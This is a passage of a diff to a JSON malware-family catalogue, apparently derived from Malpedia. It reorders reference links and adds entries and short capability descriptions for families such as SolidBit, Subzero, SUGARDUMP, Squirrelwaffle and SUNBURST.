"https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html", + "https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/" ], "synonyms": [ "Ursnif" @@ -38756,10 +40844,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.socelars", - "https://twitter.com/VK_Intel/status/1201584107928653824", "https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html", + "https://www.bleepingcomputer.com/news/security/facebook-ads-manager-targeted-by-new-info-stealing-trojan/", + "https://twitter.com/VK_Intel/status/1201584107928653824", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.bleepingcomputer.com/news/security/facebook-ads-manager-targeted-by-new-info-stealing-trojan/" + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/" ], "synonyms": [], "type": [] @@ -38772,8 +40861,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sockbot", - "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html", "https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/", + "https://www.youtube.com/watch?v=CAMnuhg-Qos", + "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html", "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf" ], "synonyms": [], @@ -38800,9 +40890,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.accenture.com/t00010101T000000Z__w__/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf", - "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" ], "synonyms": [ @@ -38819,10 +40909,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sodamaster", - "https://securelist.com/apt-trends-report-q1-2021/101967/", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks", "https://www.bleepingcomputer.com/news/security/chinese-hackers-abuse-vlc-media-player-to-launch-malware-loader/", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://securelist.com/apt-trends-report-q1-2021/101967/", "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf" ], "synonyms": [ @@ -38840,9 +40931,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot", - "https://www.welivesecurity.com/2013/09/25/win32napolar-a-new-bot-on-the-block/", + "https://blog.avast.com/2013/09/25/win3264napolar-new-trojan-shines-on-the-cyber-crime-scene/", "https://blog.malwarebytes.com/threat-analysis/2013/09/new-solarbot-malware-debuts-creator-publicly-advertising/", - "https://blog.avast.com/2013/09/25/win3264napolar-new-trojan-shines-on-the-cyber-crime-scene/" + "https://www.welivesecurity.com/2013/09/25/win32napolar-a-new-bot-on-the-block/" ], "synonyms": [ "Napolar" @@ -38857,22 +40948,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarmarker", - "https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/", - "https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer", - "https://www.binarydefense.com/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/", - "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise", - "https://unit42.paloaltonetworks.com/solarmarker-malware/", - "https://security5magics.blogspot.com/2020/12/tracking-jupyter-malware.html", - "https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction", "https://twitter.com/MsftSecIntel/status/1403461397283950597", - "https://www.prodaft.com/m/reports/Solarmarker_TLPWHITEv2.pdf", - "https://blog.minerva-labs.com/new-iocs-of-jupyter-stealer", + "https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/", + "https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction", + "https://unit42.paloaltonetworks.com/solarmarker-malware/", "https://blog.talosintelligence.com/2021/07/threat-spotlight-solarmarker.html#more", - "https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis/", - "https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/", - "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker", "https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1/", - "https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire" + "https://www.prodaft.com/m/reports/Solarmarker_TLPWHITEv2.pdf", + "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise", + "https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer", + "https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/", + "https://www.binarydefense.com/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/", + "https://blog.minerva-labs.com/new-iocs-of-jupyter-stealer", + "https://security5magics.blogspot.com/2020/12/tracking-jupyter-malware.html", + "https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis/", + "https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker" ], "synonyms": [ "Jupyter", @@ -38884,6 +40975,19 @@ "uuid": "4e08d816-9fe3-42ae-b7e4-f7182445f304", "value": "solarmarker" }, + { + "description": "Ransomware, written in .NET.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.solidbit", + "https://www.trendmicro.com/en_us/research/22/h/solidbit-ransomware-enters-the-raas-scene-and-takes-aim-at-gamer.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "94b4f63b-48c9-4f43-b145-c967f173d87d", + "value": "SolidBit" + }, { "description": "", "meta": { @@ -38903,9 +41007,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sorano", + "https://github.com/Alexuiop1337/SoranoStealer", "https://github.com/3xp0rt/SoranoStealer", - "https://3xp0rt.xyz/lpmkikVic", - "https://github.com/Alexuiop1337/SoranoStealer" + "https://3xp0rt.xyz/lpmkikVic" ], "synonyms": [], "type": [] @@ -38931,9 +41035,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sorefang", - "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", - "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf" + "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", + "https://securelist.com/apt-trends-report-q3-2020/99204/" ], "synonyms": [], "type": [] @@ -38946,8 +41050,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sorgu", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", - "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east" ], "synonyms": [], "type": [] @@ -38975,15 +41079,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", "https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A", "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf", + "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", "https://attack.mitre.org/wiki/Software/S0157", "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", - "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", - "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/" + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection" ], "synonyms": [ "denis" @@ -38998,7 +41102,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" ], "synonyms": [], "type": [] @@ -39011,11 +41116,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spark", - "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", "https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-one", + "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", - "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", - "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east" + "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", + "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/" ], "synonyms": [], "type": [] @@ -39122,8 +41227,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf", - "https://twitter.com/nahamike01/status/1471496800582664193?s=20" + "https://twitter.com/nahamike01/status/1471496800582664193?s=20", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf" ], "synonyms": [], "type": [] @@ -39136,11 +41241,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom", + "https://github.com/MinervaLabsResearch/SporaVaccination", "https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/", - "https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/", "https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas", "https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware", - "https://github.com/MinervaLabsResearch/SporaVaccination", + "https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/", "http://malware-traffic-analysis.net/2017/01/17/index2.html" ], "synonyms": [], @@ -39166,13 +41271,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder", - "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", - "https://vms.drweb.com/virus/?i=23648386", + "https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/", "https://st.drweb.com/static/new-www/news/2021/march/BackDoor.Spyder.1_en.pdf", "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/", - "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", + "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", - "https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/" + "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", + "https://vms.drweb.com/virus/?i=23648386" ], "synonyms": [], "type": [] @@ -39185,18 +41290,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye", - "https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FSpyeye", - "https://www.sans.org/reading-room/whitepapers/malicious/clash-titans-zeus-spyeye-33393", - "https://krebsonsecurity.com/2010/09/spyeye-botnets-bogus-billing-feature/", - "https://www.computerworld.com/article/2509482/spyeye-trojan-defeating-online-banking-defenses.html", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://www.pcworld.com/article/247252/spyeye_malware_borrows_zeus_trick_to_mask_fraud.html", - "https://krebsonsecurity.com/2011/04/spyeye-targets-opera-google-chrome-users/", - "http://malwareint.blogspot.com/2010/02/spyeye-bot-part-two-conversations-with.html", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", "https://krebsonsecurity.com/2010/04/spyeye-vs-zeus-rivalry/", - "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals" + "https://www.sans.org/reading-room/whitepapers/malicious/clash-titans-zeus-spyeye-33393", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.computerworld.com/article/2509482/spyeye-trojan-defeating-online-banking-defenses.html", + "https://krebsonsecurity.com/2010/09/spyeye-botnets-bogus-billing-feature/", + "http://malwareint.blogspot.com/2010/02/spyeye-bot-part-two-conversations-with.html", + "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals", + "https://www.pcworld.com/article/247252/spyeye_malware_borrows_zeus_trick_to_mask_fraud.html", + "https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot", + "https://krebsonsecurity.com/2011/04/spyeye-targets-opera-google-chrome-users/" ], "synonyms": [], "type": [] @@ -39205,34 +41310,34 @@ "value": "SpyEye" }, { - "description": "", + "description": "According to Sophos, Squirrelwaffle is a malware loader that is distributed as a malicious Office document in spam campaigns. It provides attackers with an initial foothold in a victim’s environment and a channel to deliver and infect systems with other malware. When a recipient opens a Squirrelwaffle-infected document and enables macros, a visual basic script typically downloads and executes malicious files and scripts, giving further control of the computer to an attacker. Squirrelwaffle operators also use DocuSign to try and trick the user into enabling macros in Office documents.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle", - "https://redcanary.com/blog/intelligence-insights-december-2021", - "https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html", - "https://www.cynet.com/understanding-squirrelwaffle/", - "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/", - "https://www.sentinelone.com/blog/is-squirrelwaffle-the-new-emotet-how-to-detect-the-latest-malspam-loader/", - "https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html", - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://blogs.blackberry.com/en/2021/11/threat-thursday-squirrelwaffle-loader", - "https://twitter.com/Max_Mal_/status/1442496131410190339", - "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/", - "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", "https://www.malware-traffic-analysis.net/2021/09/17/index.html", - "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", - "https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/the-newest-malicious-actor-squirrelwaffle-malicious-doc/", - "https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike", + "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", + "https://www.sentinelone.com/blog/is-squirrelwaffle-the-new-emotet-how-to-detect-the-latest-malspam-loader/", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://twitter.com/Max_Mal_/status/1442496131410190339", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - 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"http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html", + "https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf", + "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", + "https://www.codeproject.com/articles/246545/stuxnet-malware-analysis-paper", "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://medium.com/s2wlab/w3-may-en-story-of-the-week-code-signing-certificate-on-the-darkweb-94c7ec437001", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", - "https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf" + "http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html", + "https://www.spiegel.de/netzwelt/web/die-erste-cyberwaffe-und-ihre-folgen-a-a0ed08c9-5080-4ac2-8518-ed69347dc147", + "https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", + "https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/", + "https://media.ccc.de/v/27c3-4245-en-adventures_in_analyzing_stuxnet" ], "synonyms": [], "type": [] @@ -39614,6 +41737,25 @@ "uuid": "6ad84f52-0025-4a9d-861a-65c870f47988", "value": "Stuxnet" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.subzero", + "https://cdn.netzpolitik.org/wp-upload/2021/12/2018-08-28_DSIRF_Company-Profile-Gov.redacted.pdf", + "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/", + "https://www.focus.de/politik/vorab-aus-dem-focus-volle-kontrolle-ueber-zielcomputer-das-raetsel-um-die-spionage-app-fuehrt-ueber-wirecard-zu-putin_id_24442733.html", + "https://netzpolitik.org/2021/dsirf-wir-enthuellen-den-staatstrojaner-subzero-aus-oesterreich/" + ], + "synonyms": [ + "Corelump", + "Jumplump" + ], + "type": [] + }, + "uuid": "72fb9dd2-33bf-4620-bf03-92630d7da101", + "value": "Subzero" + }, { "description": "", "meta": { @@ -39633,9 +41775,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sugar", - "https://medium.com/walmartglobaltech/sugar-ransomware-a-new-raas-a5d94d58d9fb", "https://cyware.com/news/newly-found-sugar-ransomware-is-now-being-offered-as-raas-641cfa69", - "https://medium.com/s2wblog/tracking-sugarlocker-ransomware-3a3492353c49" + "https://medium.com/s2wblog/tracking-sugarlocker-ransomware-3a3492353c49", + "https://medium.com/walmartglobaltech/sugar-ransomware-a-new-raas-a5d94d58d9fb" ], "synonyms": [], "type": [] @@ -39643,179 +41785,223 @@ "uuid": "ea7d0457-3625-4224-aed4-739a360b10d3", "value": "Sugar" }, + { + "description": "According to Mandiant, SUGARDUMP is a credential harvesting utility, capable of password collection from Chromium-based browsers. There are also versions to exfiltrate data via SMTP and HTTP.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sugardump", + "https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping" + ], + "synonyms": [], + "type": [] + }, + "uuid": "655c3dbb-8d2c-4613-8722-ec12b24d5956", + "value": "SUGARDUMP" + }, + { + "description": "According to Mandiant, SUGARUSH is a backdoor written to establish a connection with an embedded C2 and to execute CMD commands.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sugarrush", + "https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping" + ], + "synonyms": [], + "type": [] + }, + "uuid": "129163aa-8539-40ee-a627-0ac6775697b5", + "value": "SUGARRUSH" + }, + { + "description": "According to Mandiant, SUGARUSH is a backdoor written to establish a connection with an embedded C2 and to execute CMD commands.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sugarush", + "https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping" + ], + "synonyms": [], + "type": [] + }, + "uuid": "129163aa-8539-40ee-a627-0ac6775697b5", + "value": "SUGARUSH" + }, { "description": "FireEye describes SUNBURST as a trojanized SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, it uses a DGA to generate specific subdomains for a set C&C domain. The backdoor retrieves and executes commands, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications: Orion Improvement Program (OIP) protocol. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunburst", - "https://www.brighttalk.com/webcast/7451/462719", - "https://us-cert.cisa.gov/remediating-apt-compromised-networks", - "https://www.bleepingcomputer.com/news/security/the-solarwinds-cyberattack-the-hack-the-victims-and-what-we-know/", - "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", - "https://www.microsoft.com/en-us/security/business/threat-protection/solorigate-detection-guidance", - "https://www.netresec.com/?page=Blog&month=2020-12&post=Extracting-Security-Products-from-SUNBURST-DNS-Beacons", - "https://netresec.com/?b=212a6ad", - "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", "https://ics-cert.kaspersky.com/reports/2021/01/26/sunburst-industrial-victims/", - "https://github.com/github/codeql/tree/main/csharp/ql/src/experimental/Security%20Features/campaign", - "https://us-cert.cisa.gov/ncas/alerts/aa20-352a", - "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/", - "https://www.domaintools.com/resources/blog/continuous-eruption-further-analysis-of-the-solarwinds-supply-incident", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/additional-analysis-into-the-sunburst-backdoor/", - "https://twitter.com/cybercdh/status/1339241246024404994", - "https://www.trustedsec.com/blog/solarwinds-backdoor-sunburst-incident-response-playbook/?hss_channel=tw-403811306", - "https://www.brighttalk.com/webcast/7451/469525", - "https://prevasio.com/static/web/viewer.html?file=/static/Anatomy_Of_SolarWinds_Supply_Chain_Attack.pdf", - "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", - "https://mp.weixin.qq.com/s/v-ekPFtVNZG1W7vWjcuVug", - "https://blog.truesec.com/2021/01/07/avoiding-supply-chain-attacks-similar-to-solarwinds-orions-sunburst", - "https://blog.prevasio.com/2020/12/sunburst-backdoor-part-ii-dga-list-of.html", - "https://www.solarwinds.com/securityadvisory", - "https://netresec.com/?b=211f30f", - "https://drive.google.com/file/d/1R79Q1oC18GmKK8FYBoYEt0vYF7SpsvQI/view", - "https://github.com/sophos-cybersecurity/solarwinds-threathunt", - "https://www.mfa.gov.lv/en/news/latest-news/67813-latvia-s-statement-following-the-announcement-by-the-united-states-of-actions-to-respond-to-the-russian-federation-s-destabilizing-activities", - "https://twitter.com/megabeets_/status/1339308801112027138", - "https://www.youtube.com/watch?v=GfbxHy6xnbA", - "https://www.youtube.com/watch?v=cMauHTV-lJg", - "https://twitter.com/0xrb/status/1339199268146442241", - "https://netresec.com/?b=211cd21", - "https://threatconnect.com/blog/tracking-sunburst-related-activity-with-threatconnect-dashboards", - "https://www.youtube.com/watch?v=dV2QTLSecpc", - "https://github.com/RedDrip7/SunBurst_DGA_Decode", - "https://youtu.be/SW8kVkwDOrc?t=24706", - "https://www.domaintools.com/resources/blog/the-devils-in-the-details-sunburst-attribution", - "https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714", - "https://www.cyborgsecurity.com/cyborg_labs/threat-hunt-deep-dives-solarwinds-supply-chain-compromise-solorigate-sunburst-backdoor/", - "https://www.crowdstrike.com/blog/crowdstrike-launches-free-tool-to-identify-and-help-mitigate-risks-in-azure-active-directory/", - "https://twitter.com/cybercdh/status/1338975171093336067", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds", - "https://securelist.com/sunburst-connecting-the-dots-in-the-dns-requests/99862/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data", - "https://www.justice.gov/opa/pr/department-justice-statement-solarwinds-update", - "https://blog.cloudflare.com/a-quirk-in-the-sunburst-dga-algorithm/", - "https://gist.github.com/olafhartong/71ffdd4cab4b6acd5cbcd1a0691ff82f", - "https://github.com/cisagov/CHIRP", - "https://mp.weixin.qq.com/s/UqXC1vovKUu97569LkYm2Q", - "https://www.trustedsec.com/blog/solarwinds-orion-and-unc2452-summary-and-recommendations/", - "https://www.splunk.com/en_us/blog/security/smoothing-the-bumps-of-onboarding-threat-indicators-into-splunk-enterprise-security.html", - "https://www.cisa.gov/supply-chain-compromise", - "https://notes.netbytesec.com/2021/01/solarwinds-attack-sunbursts-dll.html", - "https://blog.gigamon.com/2021/07/27/ghosts-on-the-wire-expanding-conceptions-of-network-anomalies/", - "https://www.comae.com/posts/sunburst-memory-analysis/", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://msrc-blog.microsoft.com/2020/12/31/microsoft-internal-solorigate-investigation-update/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://us-cert.cisa.gov/ncas/alerts/aa21-077a", - "https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more", - "https://medium.com/insomniacs/a-look-into-sunbursts-dga-ba4029193947", - "https://docs.google.com/spreadsheets/d/1u0_Df5OMsdzZcTkBDiaAtObbIOkMa5xbeXdKk_k0vWs", - "https://techcommunity.microsoft.com/t5/azure-sentinel/solarwinds-post-compromise-hunting-with-azure-sentinel/ba-p/1995095", - "https://www.elastic.co/blog/supervised-and-unsupervised-machine-learning-for-dga-detection", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-unique-dga", - "https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/", - "https://www.cyberark.com/resources/threat-research-blog/golden-saml-revisited-the-solorigate-connection", - "https://www.mandiant.com/resources/unc2452-merged-into-apt29", - "https://www.bleepingcomputer.com/news/security/mimecast-links-security-breach-to-solarwinds-hackers/", - "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", - "https://www.aon.com/cyber-solutions/aon_cyber_labs/cloudy-with-a-chance-of-persistent-email-access/", - "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", - "https://us-cert.cisa.gov/sites/default/files/publications/SolarWinds_and_AD-M365_Compromise-Detecting_APT_Activity_from_Known_TTPs.pdf", - "https://www.bleepingcomputer.com/news/security/autodesk-reveals-it-was-targeted-by-russian-solarwinds-hackers/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", - "https://go.recordedfuture.com/hubfs/reports/pov-2020-1230.pdf", - "https://www.microsoft.com/security/blog/2021/02/25/microsoft-open-sources-codeql-queries-used-to-hunt-for-solorigate-activity/", - "https://us-cert.cisa.gov/ncas/current-activity/2020/12/13/active-exploitation-solarwinds-software", - 